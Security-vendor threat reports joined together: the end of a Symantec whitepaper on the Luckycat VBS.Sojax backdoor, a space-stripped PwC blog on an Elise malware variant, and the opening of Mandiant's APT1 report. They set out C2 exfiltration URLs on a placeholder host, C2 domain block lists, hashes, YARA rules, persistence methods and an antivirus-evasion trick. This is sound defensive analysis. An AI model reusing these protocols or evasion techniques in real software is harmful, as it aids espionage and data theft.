VBS.Sojax parses the response from the server, looking for three potential commands: Upload files to the CC server Download files from the CC server Execute a command (figure 4) Figure 2 Samples  emails over time Figure 3 Exploits used by the attackers Figure 4 A portion of VBS.Sojax The Luckycat Hackers Page 4 Security Response The CC server is then polled every 30 seconds for additional commands.
To maintain persistence, VBS.Sojax registers itself to be called on reboot using a WMI event.
CC server protocol When VBS.Sojax connects to the CC server, it does so through HTTP port 80.
If uploading data, it sends a HTTP POST request to a script called either count.php or loveusa.php.
This POST request is formatted as follows: HTTP POST http://server.com/count/count.php?mcnMACADDRESS The MACADDRESS value is the MAC address of the compromised computer.
To retrieve a command from the server, the script then polls for commands specific to that MACADDRESS.
HTTP GET http://server.com/count/count.php?mrnMACADDRESS.c If there is a command, the command is executed and the results are uploaded to the server using a HTTP POST request.
It is a very simple protocol, there is no authentication.
CC servers So far, 25 CC servers have been identified.
They are listed in Table 1 and graphed in figure 5.
The majority of these CC servers are free hosting providers.
The attackers sign up for an account, register the sub-domain for free, and upload their CC server script to a count folder.
When a compromised computer uploads data to the count.php script using an HTTP post, that data is written into a file in the same folder as the CC server.
Although most of these files had since been retrieved and subsequently deleted by the attackers, several files remained.
Some of the remaining files were the compressed .cab files described previously.
Others were fragments of commands and some stolen files.
In one instance, several log files of activity on a CC server were found.
These log files listed all of the files stolen by the attackers with respect to that par- ticular CC server.
There was also a log file showing what appeared to be FTP connections to the server from the attackers.
Figure 5 Distribution of CC servers Table 1 Command and Control domains CC Server Domains 2012enviroment.world.mu charlesbrain.shop.co clbest.greenglassint.net dasauto.no-sports.de footballshopping.shop.co frankwhales.shop.co jeepvihecle.shop.co killmannets.0fees.net lampaur.b2b.cm lovesea-blog.co.de lucysmith.0fees.net maritimemaster.kilu.org sawakastocks.tv4.org shoesshopping.shop.co shoppingfans.shop.co skirtdressing.shop.co toms.0fees.net tomsburs.shop.co vpoasport.shopping2000.com womems.in.nf www.fireequipment.website.org www.goodwell.all.co.uk www.lo[REMOVED]et.com www.pumasports.website.org The Luckycat Hackers Page 5 Security Response Victims From the log files and fragments of stolen data remaining on the server, it was possible to identify eight vic- tims.
At the time of writing, where possible, the victims are in the process of being notified and any information retrieved passed on.
Figure 6 shows the geographical distribution of the victims.
Nearly every infection is in India, with several others in Malaysia.
Victim industries were military research, defense, manufacturing, and mari- time.
The data stolen was quite varied.
In some cases it appeared that documents with suggestive names were stolen, simply out of curios- ity.
For example, one stolen document that had a mili- tary themed title is actually publicly available from the publishers website.
Other stolen files were more serious.
Two separate victims had documents per- taining to the same military technology.
The attackers were clearly targeting that technology.
The attackers also stole source code from one of those two victims that may have been related to the technology.
The attackers The most useful information about the attackers is in one of the log files retrieved from a CC server.
This log file appears to record connections to an FTP server running on the CC server.
The attackers probably use FTP to easily retrieve stolen data uploaded to the CC server.
45 unique IP addresses were identified in the log.
Of these, all but two are from the same ISP, based in Sichuan province in China.
The remaining two are from South Korea.
Figure 7 shows a portion of that log.
The user LUCKYCAT is the attacker who successfully logged into the server.
The connections by LUCKYCAT are consecutive.
Immediately after one connection is closed, a new one is opened by the attacker.
A lack of overlap implies that a single person or program is making the connections and not multiple people from different com- puters.
Figure 6 Distribution of VBS.Sojax victims Figure 7 Connections from the attacker The Luckycat Hackers Page 6 Security Response Despite this, the IP address used for the new connection changes regularly.
In figure 7, during a period of ap- proximately an hour and 15 minutes, four different IP addresses were used for six distinct connections.
This is unusual because if the attacker is using DHCP, generally an IP address will remain allocated to a particular computer for a longer period of time.
A possible explanation is that the IP addresses used are the point of egress of a VPN-like service.
The attackers may be using a service through which they can route their connections.
The service periodically rotates con- nections amongst a pool of IP addresses in order to render the attacker anonymous or implicate China as the source of the attack.
There are two potential reasons for the South Korean IP addresses.
The first is that the IP addresses are part of the VPN service and were assigned to the attacker as the service rotated through the range of IP addresses available.
The second explanation is that the attacker may have forgotten to enable the VPN by mistake and connected directly to the CC server.
Figures 8 and 9 show the log at the time that the South Korean IP addresses logged into the FTP server.
In both cases, connections from the Chinese and South Korean IP addresses are around the same time.
Either the time overlaps as in figure 8, or the times are immediately consecutive as in figure 9.
This suggests that the connecting person, or program, is the same in both cases.
Conclusion The attacks described are very simple.
That, however, does not mean that they are not intelligently designed and ultimately, highly effective.
Using a scripting language to develop the VBS.Sojax threat cuts down on develop- ment time.
It means less effort needs to be invested in attempting to prevent detection by antivirus software.
Similarly, using freely available hosting for CC servers (theoretically) limits exposure.
Old exploits are so well documented and freely available that minimal effort is required to modify them for use.
Such basic tools, in com- bination with targeted social engineering, proved to be an efficient combination for the attacker.
These attacks should not have succeeded on a properly secured network.
Old exploits should have been patched and users should have received adequate security awareness training.
Figure 8 First South Korean IP address Figure 9 Second South Korean IP address The Luckycat Hackers Page 7 Security Response Symantec protection Many different Symantec protection technologies play a role in defending against this threat, including: File-based protection (traditional antivirus) Traditional antivirus protection is designed to detect and block malicious files and is effective against files as- sociated with this attack.
VBS.Sojax VBS.Sojaxgen1 Trojan.
Pidief Bloodhound.
Exploit.290 Bloodhound.
Exploit.357 Bloodhound.
Exploit.422 Network-based protection (IPS) Network based protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts.
Web Attack: HTTP Adobe Acrobat CVE-2010-0188 2 Web Attack: Adobe Flash Embedded SWF CVE-2011-0611 Attack: Adobe Reader TTF File CVE-2010-2883 Attack: MS Office Word RTF Exploit CVE-2010-3333 HTTP MS Office Word RTF RCE 1 Behavior-based protection Symantec products with behavior-based detection technology can detect and block previously unknown threats from executing, including those associated with this attack.
Files detected by this technology will be reported as Bloodhound.
Sonar.9.
Reputation-based protection (Insight) Symantec Download Insight can proactively detect and block files associated with this attack using Symantecs extensive file reputation database.
Files detected by this technology will be reported as WS.Reputation.1.
Email-based protection The Skeptic heuristic engine in Symantec MessageLabs Email Security.cloud can detect and block emails that are associated with this attack.
Other protection Application and Device Control  Symantec Endpoint Protection users can enable this feature to detect and block potentially malicious files from executing.
http://www.symantec.com/business/theme.jsp?themeidstartabID2 http://www.symantec.com/security_response/writeup.jsp?docid2012-011606-0524-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-011616-2024-99 http://www.symantec.com/security_response/writeup.jsp?docid2009-121708-1022-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-040704-0437-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-090901-2159-99 http://www.symantec.com/security_response/writeup.jsp?docid2011-082410-2657-99 http://www.symantec.com/business/theme.jsp?themeidstartabID3 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid23675 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24291 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid23889 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid23997 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24025 http://www.symantec.com/business/theme.jsp?themeidstartabID4 http://www.symantec.com/security_response/writeup.jsp?docid2011-122605-0918-99 http://www.symantec.com/business/theme.jsp?themeidstartabID5 http://www.symantec.com/security_response/writeup.jsp?docid2010-051308-1854-99 http://www.symantec.com/business/email-security-cloud http://www.symantec.com/business/security_response/securityupdates/list.jsp?fidadc The Luckycat Hackers Page 8 Security Response Appendix Recommendations Update antivirus definitions Ensure that your antivirus software has up-to-date antivirus definitions and ensure that your product has the auto-protect feature enabled.
You can obtain the latest definitions through LiveUpdate or download the latest definitions from our website.
Apply patches for the following vulnerabilities Symantec recommends that users apply patches for the following vulnerabilities to help protect against this and similar attacks: Adobe Reader CoolType.dll TTF Font Remote Code Execution Vulnerability (BID 43057/ CVE-2010-2883) Adobe Flash Player CVE-2011-0611 SWF File Remote Memory Corruption Vulnerability (BID 47314/CVE-2011- 0611) Microsoft Office RTF File Stack Buffer Overflow Vulnerability (BID 44652/ CVE-2010-3333) Adobe Acrobat and Reader CVE-2010-0188 Remote Code Execution Vulnerability (BID 38195/ CVE-2010-0188) Prevent back door communications Block access to the following command-and-control server domains that are associated with this attack.
2012enviroment.world.mu charlesbrain.shop.co clbest.greenglassint.net dasauto.no-sports.de footballshopping.shop.co frankwhales.shop.co jeepvihecle.shop.co killmannets.0fees.net lampaur.b2b.cm lovesea-blog.co.de lucysmith.0fees.net maritimemaster.kilu.org sawakastocks.tv4.org shoesshopping.shop.co shoppingfans.shop.co skirtdressing.shop.co toms.0fees.net tomsburs.shop.co vpoasport.shopping2000.com womems.in.nf www.fireequipment.website.org www.goodwell.all.co.uk www.pumasports.website.org http://www.symantec.com/security_response/definitions.jsp http://www.symantec.com/security_response/definitions.jsp http://www.securityfocus.com/bid/43057 http://www.securityfocus.com/bid/47314 http://www.securityfocus.com/bid/44652 http://www.securityfocus.com/bid/44652 The Luckycat Hackers Page 9 Security Response MD5s of VBS.Sojax samples 0x2924339C60D4905AFDAD6664F859DE2C 0x324B98DE1F86ADE0817DA0FF4C5A38BA 0x40DDB1D8C2F000661AA3031A6FCFA156 0x4844982A4B4863505FAFAF8B52A4DC97 0x70EDAAA835D0861BE0F675E7A6EB2CDA 0xA7109C03B002CBCC0ADAB73AEA2C9797 0xBEE3C1910319BB5A4D39BCFBF2A30220 0xE04E5EB4AEFEB326246D7F41D1B50759 0xE542372D7368AF162D0B8540271B43D5 0xF174E308C86F09336660E2991E47732A 0xFE9DB18A3FDABB6A37E8FE436820BBFB 0xFF03CFB24083B2EC00684E1CB2BCC8F1 The Luckycat Hackers Page 10 Security Response Infographic SYMANTEC SECURITY RESPONSE QUICK FACT SHEET MARCH 2012 Antivirus - VBS.Sojax - VBS.Sojaxgen1 - Trojan.
Pidief - Bloodhound.
Exploit.290 - Bloodhound.
Exploit.357 - Bloodhound.
Exploit.422 SONAR Symantec Insight IPS .Cloud Services A.
Protection Update software: - MS Office - Adobe Acrobat - Adobe Reader - Adobe Flash B. Mitigation Uses targeted email - Attachments: .DOC .RTF .PDF Uses vulnerabilities - CVE-2010-2883 - CVE-2011-0611 - CVE-2010-3333 - CVE-2010-0188 Targeted Countries: - India - Malaysia Industry sector(s): - Defense - Academic - Research - Manufacturing 1.
Incursion Copyright   Symantec Corporation 2012 Luckycat Hackers Apr 2011  Feb 2012 Initial stolen info: - Directory listings - Network info - System info - Processes Stolen info uploaded to CC server, then awaits further instructions 2.
Discovery Information sought: - Interesting docs - Source code - Military info - Technological info 3.
Capture CC server facts: -Uses free hosting services  PHP scripts - Polled every 30 sec - Uses HTTP CC server countries: - Germany - USA - UK Attacker IPs - China (42) - South Korea (2) 4.
Exfiltration Trojan dropped by targeted email Simple but effective - HTTP Back door - 3 Commands - Run command - Download - Upload VBS.Sojax C. More Info VBS.Sojax Whitepaper bit.ly/waZFhf bit.ly/ypnsNs The Luckycat Hackers Page 11 Security Response About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information.
Headquartered in Mountain View, Calif., Symantec has operations in more than 40 countries.
More information is available at www.symantec.com.
For specific country offices and contact num- bers, please visit our Web site.
For product information in the U.S., call toll-free 1 (800) 745 6054.
Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA 1 (650) 527-8000 www.symantec.com Copyright  2012 Symantec Corporation.
All rights reserved.
Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries.
Other names may be trademarks of their respective owners.
Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation.
NO WARRANTY .
The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use.
Any use of the technical documentation or the information contained herein is at the risk of the user.
Documentation may include technical or other inaccuracies or typographical errors.
Symantec reserves the right to make changes without prior notice.
Security Response Overview Technical details Attack vector VBS.Sojax CC server protocol Victims The attackers Conclusion Symantec protection Appendix Recommendations MD5s of VBS.Sojax samples Infographic
4/10/2016 ELISE: Security Through Obesity - Cyber security updates Cybersecurityupdates KeepingCISOsandCIOsconfidentaboutcybersecurityrelatedissuesincludingthreatdetection,dataprotection,breach readiness,securityarchitecture,digitalsolutionsandnetworksecuritymonitoring.
ELISE:SecurityThroughObesity 23December2015 michael_yip ByMichaelYip ExecutiveSummary Taiwanhaslongbeensubjectedtopersistenttargetingfromespionagemotivatedthreatactors.
Thisblogpresentsouranalysisofoneofthelatest malwarevariantstargetingindividualsinTaiwan,whichexhibitssomeinterestingcharacteristicsthatcanbeusefulfordetectinganddefending againstthethreatincludingthecreationofanobesefile,weighinginat500MB,aspartofitsexecution.
MalwareAnalysis ThesamplewhichcaughtourattentionforthisanalysisisaPowerPointslideshowfilenamed.pps(translation: ObservationsoncybercompensateddatingamongTaiwanesestudents).ThesamplewassubmittedtoVirusTotalon3rdDecember2015from Taiwanandatthetimewasonlydetectedby3outof54antivirusvendorsasmalicious.
AnexploitforCVE20144114isalsodetectedandtaggedby VirusTotal.
Figure1:ThesampleisaPowerPointfilewithexploitforCVE20144114embedded.
Theinitiallure Thefiguresbelowshowsomeoftheslidesfromtheslideshow.
AllthecontentsintheslideshowarewritteninTraditionalChinese,whichistypically usedinprovincesinSouthernChinasuchasGuangdongandHongKong,aswellasTaiwan.
Sincethetopicoftheslideshowrelatesexplicitlyto TaiwaneseandthesubmissionwasfromTaiwan,weassesstheattackerwaslikelytargetingTaiwaneseindividuals.
Figure2:TheluredocumentisaPowerpoint(.pps)slideshowonObservationsintocybercompensateddating()amongTaiwanese students.
Giventheuseofamaliciousdocumentastheinitiallure,thedeliverymethodinthiscampaignisalmostcertainlyspearphishing.
Exploitation http://pwc.blogs.com/cyber_security_updates/ https://uk.linkedin.com/in/michaelyiphw https://twitter.com/michael_yip http://a0.typepad.com/6a01b7c7e7e82f970b01b7c7fdf8e8970b-pi http://a4.typepad.com/6a01b7c7e7e82f970b01bb08a28404970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c7fdf929970b-pi 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Oncetheslideshowfileisopened,whilsttheslidesaredisplayedinfullscreenmode,themalwareisdroppedinthebackground.
Specifically,two filesaredroppedintotheTEMPdirectory:hlwyss.jpgandhlwyss.inf.
Byexaminingthefileheader(asshowninFigure3)ofhlwyss.jpg,wecanseethatthefileisinfactaMSDOSexecutable: Figure3:Fileheaderofhlwyss.jpgshowsitsanMSDOSexecutable.
Thehlwyss.infisanINFfilewhichspecifiesfilesystemoperationsrequiredtoinstallthemalware(asshowninFigure4).Theuseofan embeddedINFfileformalwareinstallationisconsistentwiththeMetasploitimplantationofCVE20144114,betterknownastheSandworm vulnerability.
Figure4:Contentsofthehlwyss.infwhichshowstherenamingofhlwyss.jpgtohlwyss.dllandinstallationoftheRunOncekeyformalware execution.
AsindicatedintheINFfile,theinstallationscriptrenameshlwyss.jpgtohlwyss.dllandsetsupthemalwarethroughthecreationoftwo http://a5.typepad.com/6a01b7c7e7e82f970b01bb08a28cf5970d-pi https://msdn.microsoft.com/en-us/library/windows/desktop/aa376858(vvs.85).aspx http://www.rapid7.com/db/modules/exploit/windows/fileformat/ms14_060_sandworm http://a5.typepad.com/6a01b7c7e7e82f970b01b7c7fdf995970b-pi 4/10/2016 ELISE: Security Through Obesity - Cyber security updates RunOncekeystoensuretheexecutionofthemaliciousDLLusingrundll32.exe,withtheentrypointSetting.
Installationandexecution OnexamininglogsproducedduringexecutionbyProcessMonitor,wefindthatasidefromfollowingtheinstructionsoutlinedintheINFfile,the malwareproceedstoperformadditionaloperationstocompleteitsinstallation.
Inparticular,themalwarereplicatesitselfinthe AppData\Roaming\ProgramsfolderandnamesitsclonedcopySyncmgr.dll(seeFigure5).
Figure5:Aspartoftheinstallation,anotherDLLcalledSyncmgr.dllisalsocreated.
ToensurepersistenceonfuturerestartsaRunkeyisalsoinstalled,however,theRunkeypointstothenewlycreatedSyncmgr.dllratherthanthe originalhlwyss.dll.
Figure6:RunandRunOncekeysinstalledtoensuremalwareexecutiononbootup.
PlantingthemalwareintheusersAppData\Roamingfolderisalsoasignthattheattackerwaslikelytobetargetingcorporateusersascorporate usersoftenpossessroaminguserprofiles,aWindowsfeaturethatallowsuserstoaccesstheircustomisedWindowsenvironmentfromdifferent machines.
AsSyncmgr.dllisthemainmaliciouspayload,wetookacloserlookatthefile.
Themalwarewascompiledon24thNovember2015anditisa 32bitDLL.Thisshowsthatthesampleisrecentandindicatesthethreatactoriscurrentlyactive.
ExaminingthePEstructureofSyncmgr.dllshowsahiddenexecutableembeddedasoneoftheresources: Figure7:Executableembeddedinresource.
OnceSyncManager.dllisexecuted,aniexplore.exeprocessisspawned: Figure8:Amaliciousiexplore.exeprocessspawned.
https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx http://pwc.blogs.com/.a/6a00d83451623c69e201bb08a28d8e970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c7fe030d970b-popup http://a2.typepad.com/6a01b7c7e7e82f970b01bb08a28dc2970d-popup http://pwc.blogs.com/.a/6a00d83451623c69e201bb08a28e39970d-popup https://digital-forensics.sans.org/media/poster_2014_find_evil.pdf http://pwc.blogs.com/.a/6a00d83451623c69e201bb08a28e56970d-popup 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Unsurprisingly,thestringsoftheiexplore.exeprocessrevealsthatthemalwarehasinjecteditselfintotheprocess.
Figure9:Malwareinjectedintoiexplore.exe.
ByvisualisingtheProcessMonitorlogsinProcDOT,weseethattwomorefilesarecreatedbythemalware:WEB2013BW6.DATand 60HGBC00.DAT.
http://a6.typepad.com/6a01b7c7e7e82f970b01b7c7fe029e970b-popup http://www.procdot.com/faqs.htm http://pwc.blogs.com/.a/6a00d83451623c69e201b8d187d8b7970c-popup 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Figure10:Malwarecreatestwoaddition.
DATfiles.
BycomparingthecodeconstructsbetweentheembeddedresourceASDASDASDASDSADandWEB2013BW6.DAT,weseethattheycontainthe identicalcode,asshownbelow: Figure11:Theembeddedresource(left)andWEB2013BW6.DAThavesimilarcodeconstructs.
However,WEB2013BW6.DATisover500MBinsizewhichissignificantlylargerthanASDASDASDASDSADwhichisonly51KBinsize: Figure12:DroppedfilesinAppData\Roaming\Programsfolder.
AnexaminationintothePEstructureofWEB2013BW6.DATshowsthatasignificantamountofjunkcharactersareappendedtothefootofthefile: Figure13:PaddingtowardstheendofWEB2013BW6.DAT.
Basedonitscontents,the.
DATfileislikelyacomponentresponsiblefornetworkcommunication.
ProcMonlogsalsoshowthatonlyoncethe iexplore.exeprocessisspawned,thatthe.
DATfileisloadedintotheprocess.
Ourcurrenthypothesisisthatthisiscomponentofthemalware oftentriggersantivirussignatures,anditshugesizeisaneffortbytheauthorstoevadedetection.
Networkcommunications Oncethemalwareisexecuted,aHTTPGETrequestissenttoshowip[.
]netinanattempttofindoutthevictimsexternalIPaddress.
http://a1.typepad.com/6a01b7c7e7e82f970b01b7c80df369970b-pi http://a0.typepad.com/6a01b7c7e7e82f970b01b7c7fe02c0970b-popup http://pwc.blogs.com/.a/6a00d83451623c69e201b8d187d8d5970c-popup 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Figure14:HTTPGETrequesttoshowip[.
]net.
AfterobtainingtheIPaddress,themalwarethensendsoutaHTTPGETrequesttooneofthreecommandcontrol(C2)serversconfiguredinthe malware,suchasustar5.PassAs[.
]us.
ThefullHTTPheadersareasshowninthefigurebelow: Figure15:Networktraffictoustar5.PassAs[.
]usgeneratedafterthemalwareisexecuted.
TherearetwointerestingaspectstotheobservedHTTPtraffic.
Firstly,theuseragentishardcodedinthemalwareandasshownintheabovefigures, thesameuseragentisusedinbothGETrequests.
Secondly,thevictimIPisstoredastheSHOvalueinthecookiefieldintheHTTPGETrequestto theC2server.
Bothcharacteristicsareusefulfordetectionthepresenceofthisparticularmalware.
Themalwareisconfiguredtousethefollowinghostsforc2servers: Domain IP Lastseen ustar5.PassAs[.
]us 203.124.14[.
]241 03/12/2015 103.193.150[.
]33 15/12/2015 dnt5b.myfw[.
]us 127.0.0.1 15/12/2015 203.124.14[.
]241 AsthemalwareattemptstoestablishcontactwitheachofthedesignatedC2server,themalwarealsologstheerrorsina.tmplogfilestoredinthe TEMPdirectory: Figure16:LogfilegeneratedbythemalwareduringexecutionloggingfailedattemptsatestablishingcontactwithconfiguredC2s.
http://a7.typepad.com/6a01b7c7e7e82f970b01b8d187d7b7970c-popup http://a2.typepad.com/6a01b7c7e7e82f970b01bb08a28d4a970d-popup http://a6.typepad.com/6a01b7c7e7e82f970b01bb08a28d56970d-popup 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Functionalities Byexaminingthecodeconstructsinthemalware,wefoundevidenceofthefollowingfunctions: Fileuploaduploadfiletoserver Filedownloaddownloadfiletovictimmachine Remoteshellspawnremoteshell Filesystemreconnaissanceobtainfilemetadatadata Processenumerationenumeraterunningprocesses SomeofthesefunctionalitiesarevisibleintheASCIIstringsfromtheembeddedpayloadASDASDASDASDSAD: Figure17:Stringsfromthemalwareshowhintsonthefunctionalitiesofferedbythemalware.
AssociationwithLOTUSBLOSSOM Ourfirststepinattemptingtotieactivitytoknowncampaignsistolookforanyinfrastructureoverlapsbetweenthedomainsusedandthoseused http://pwc.blogs.com/.a/6a00d83451623c69e201b8d187cd8f970c-pi 4/10/2016 ELISE: Security Through Obesity - Cyber security updates previouslybyknownthreatactors,howeverwewereunabletoidentifyanyinfrastructureoverlapinthiscase.
However,networkinfrastructureisnottheonlymethodforattribution.
Otherusefulmethodsincludecommontoolsandtechniquesusedbythreat actors,aswellasanyotherbehaviouralpatternsinthemodusoperandiassociatedwithspecificthreatactors.
Inthiscase,webelievethesampleanalysedisassociatedwiththeLotusBlossomthreatactorbasedonthefollowingcharacteristicswhicharealso seeninothersamplesassociatedwiththeactor: TheuseofMicrosoftOfficedocumentwithcontentinTraditionalChineseasinitiallureandexploit ThetargetingofTaiwaneseindividuals(TaiwanisoftenthetargetoftheLotusBlossomgroup) ThemalwareiswritteninC(likemostothermalwareusedbytheLotusBlossomthreatactor) ThementionofLoader.dll(afilenamereferencedinotherElisesamples) TheuseofdynamicDNSdomains,includinguseofthesameproviders ThefixeduseragentMozilla/4.0(compatibleMSIE7.0WindowsNT5.1) MutexstringGlobal\7BDACDEE8BF64664B946D00FCFF1FFBA TheformatoftheconfigurationfortheC2servers(e.g.
Server1s)and ThepresenceofaJSONlikestringwithinthemalwarematchingthefollowingregularexpression:\\r\:\[09] 12\,\l\:\[09]12\,\u\:\[09]7\,\m\:\[09]12\\.
TheserelationshipsaredisplayedgraphicallyintheMaltegographbelow: Figure18:Someoverlappingfeaturesamongrelatedsamples,includingthesampleanalysedinthisblog c205fc5ab1c722bbe66a4cb6aff41190.
Conclusion TaiwanhaslongbeenheavilytargetedbyespionagethreatactorsandLotusBlossomisoneofthemostactivethreatactorscurrentlytargetingthe country.
Theanalysispresentedinthisblogprovidesanoverviewofoneoftheirlatestmalwarevariantsandnewnetworkinfrastructureassociated withthegroup.
ThecompiletimeofthesampleshowsthatthemalwarewascompiledinNovemberwhichindicatesthatthegroupisstillactively targetingTaiwanesevictims.
Recommendation Tohelpdetectthepresenceofthemalwaredescribedinthisblog,wehaveincludedbothnetworkandhostbasedsignaturesintheAppendix.
FurtherInformation Wespecialiseinprovidingtheservicesrequiredtohelpclientsresist,detectandrespondtoadvancedcyberattacks.
Thisincludescrisiseventssuch asdatabreaches,economicespionageandtargetedintrusions,includingthosecommonlyreferredtoasAPTs.
Ifyouwouldlikemoreinformationon anyofthethreatsdiscussedinthisalertpleasefeelfreetogetintouch,byemailingthreatintelligenceuk.pwc.com.
http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/20and20https://media.blackhat.com/us-13/US-13-Yarochkin-In-Depth-Analysis-of-Escalated-APT-Attacks-Slides.pdf http://pwc.blogs.com/.a/6a00d83451623c69e201b8d187d8e2970c-popup 4/10/2016 ELISE: Security Through Obesity - Cyber security updates MichaelYipCyberThreatDetectionResponse 44(0)2078043900 michael_yip Appendix Filedescriptions Belowtableshowsthemetadataofthefile(s)referencedinthisblog: Sample1 Filename .pps Filesize(bytes) 24,1504 MD5 c205fc5ab1c722bbe66a4cb6aff41190 Lastsaved 2015120303:45:11 ArchitectureType Packer None Comments Thisistheinitialluredocument.
Sample2 Filename SyncMgr.dll/hlwyss.dll Filesize(bytes) 156,976 MD5 353fc24939bb5db003097a8dd3c0ee7b FilePECompileTime 2015112404:57:52 ArchitectureType 32bit Packer None Comments ThisistheElisevariant.
Sample3 Filename hlwyss.inf Filesize(bytes) 1,136 MD5 bc179ebf3ca089dc9f3596beea38ab27 FilePECompileTime ArchitectureType Packer None Comments ThisistheINFfileusedaspartoftheexploitcode.
Sample4 https://twitter.com/michael_yip https://uk.linkedin.com/in/michaelyiphw 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Filename WEB2013BW6.DAT Filesize(kilobytes) 512,051 MD5 3940a839c8f933cbdc17a50d164186fa FilePECompileTime ArchitectureType Packer None Comments Thisisthemalwarepackedwithjunkcode.
Sample5 Filename 60HGBC00.DAT Filesize(bytes) 1292 MD5 6fcdc554b71db3f0b46c7722c2a08285 FilePECompileTime ArchitectureType Packer None Comments Thisisanencryptedfileobject.
Indicators Belowarethenetworkindicatorsreferencedinthisblog: Domain ustar5.PassAs[.
]us Domain dnt5b.myfw[.
]us IP 203.124.14[.
]241 IP 103.193.150[.
]33 Detectionsignatures Yara ruleLightserver_variant_B:Red_Salamander  meta: descriptionEliselightservervariant.
authorPwCCyberThreatOperations::michael_yip version1.0 created20151216 exemplar_md5c205fc5ab1c722bbe66a4cb6aff41190 strings: 4/10/2016 ELISE: Security Through Obesity - Cyber security updates json/\\r\:\[09]12\,\l\:\[09]12\,\u\:\[09]7\,\m\:\[09] 12\\/ mutant1Global\\7BDACDEE8BF64664B946D00FCFF1FFBA mutant25947BACD63BF4e7395D70C8A98AB95F2 serv1Server1s serv2Server2s serv3Server3s condition: uint16(0)0x5A4Dand(jsonormutant1ormutant2orallof(serv))  importpe ruleElise_lstudio_variant_B_resource  meta: descriptionEliselightservervariant.
authorPwCCyberThreatOperations::michael_yip version1.0 created20151216 exemplar_md5c205fc5ab1c722bbe66a4cb6aff41190 condition: uint16(0)0x5A4Dandforanyiin(0..pe.number_of_resources1):(pe.resources[i].type_string A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00S\x00A\x00D\x00)  Why2015wasthetippingpointforcybersecurityMainTheconceptofcyberinacriminalworld Comments VerifyyourComment PreviewingyourComment Postedby: Thisisonlyapreview.
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APT1 Exposing One of Chinas Cyber Espionage Units Mandiant APT1  www.mandiant.com Contents Executive Summary .......................................................................................................... 2 Chinas Computer Network Operations Tasking to PLA Unit 61398 (61398) .................... 7 APT1: Years of Espionage  ............................................................................................... 20 APT1: Attack Lifecycle .................................................................................................... 27 APT1: Infrastructure ....................................................................................................... 39 APT1: Identities ............................................................................................................. 51 Conclusion ..................................................................................................................... 59 Appendix A: How Does Mandiant Distinguish Threat Groups?
..............................................
61 Appendix B: APT and the Attack Lifecycle......................................................................... 63 Appendix C (Digital): The Malware Arsenal ........................................................................ 66 Appendix D (Digital): FQDNs ............................................................................................ 67 Appendix E (Digital): MD5 Hashes ................................................................................... 68 Appendix F (Digital): SSL Certificates ............................................................................... 69 Appendix G (Digital): IOCs ............................................................................................... 70 Appendix H (Digital): Video .............................................................................................. 74 Mandiant APT1 1 www.mandiant.com Chinas economic espionage has reached an intolerable level and I believe that the United States and our allies in Europe and Asia have an obligation to confront Beijing and demand that they put a stop to this piracy.
Beijing is waging a massive trade war on us all, and we should band together to pressure them to stop.
Combined, the United States and our allies in Europe and Asia have significant diplomatic and economic leverage over China, and we should use this to our advantage to put an end to this scourge.1 U.S. Rep. Mike Rogers, October, 2011 It is unprofessional and groundless to accuse the Chinese military of launching cyber attacks without any conclusive evidence.2 Chinese Defense Ministry, January, 2013 1 Mike Rogers, Statement to the U.S. House, Permanent Select Committee on Intelligence, Open Hearing: Cyber Threats and Ongoing Efforts to Protect the Nation, Hearing, October 4, 2011, http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/100411CyberHearingRogers.
pdf, accessed February 6, 2013.
2 Chinese hackers suspected in attack on The Posts computers.
The Washington Post, Feb. 1, 2013, http://www.washingtonpost.com/business/ technology/chinese-hackers-suspected-in-attack-on-the-posts-computers/2013/02/01/d5a44fde-6cb1-11e2-bd36-c0fe61a205f6_story.html, accessed Feb. 1, 2013.
Mandiant APT1 2 www.mandiant.com exeCutIve suMMary Since 2004, Mandiant has investigated computer security breaches at hundreds of organizations around the world.
The majority of these security breaches are attributed to advanced threat actors referred to as the Advanced Persistent Threat (APT).
We first published details about the APT in our January 2010 M-Trends report.
As we stated in the report, our position was that The Chinese government may authorize this activity, but theres no way to determine the extent of its involvement.
Now, three years later, we have the evidence required to change our assessment.
The details we have analyzed during hundreds of investigations convince us that the groups conducting these activities are based primarily in China and that the Chinese Government is aware of them.3 Mandiant continues to track dozens of APT groups around the world however, this report is focused on the most prolific of these groups.
We refer to this group as APT1 and it is one of more than 20 APT groups with origins in China.
APT1 is a single organization of operators that has conducted a cyber espionage campaign against a broad range of victims since at least 2006.
From our observations, it is one of the most prolific cyber espionage groups in terms of the sheer quantity of information stolen.
The scale and impact of APT1s operations compelled us to write this report.
The activity we have directly observed likely represents only a small fraction of the cyber espionage that APT1 has conducted.
Though our visibility of APT1s activities is incomplete, we have analyzed the groups intrusions against nearly 150 victims over seven years.
From our unique vantage point responding to victims, we tracked APT1 back to four large networks in Shanghai, two of which are allocated directly to the Pudong New Area.
We uncovered a substantial amount of APT1s attack infrastructure, command and control, and modus operandi (tools, tactics, and procedures).
In an effort to underscore there are actual individuals behind the keyboard, Mandiant is revealing three personas we have attributed to APT1.
These operators, like soldiers, may merely be following orders given to them by others.
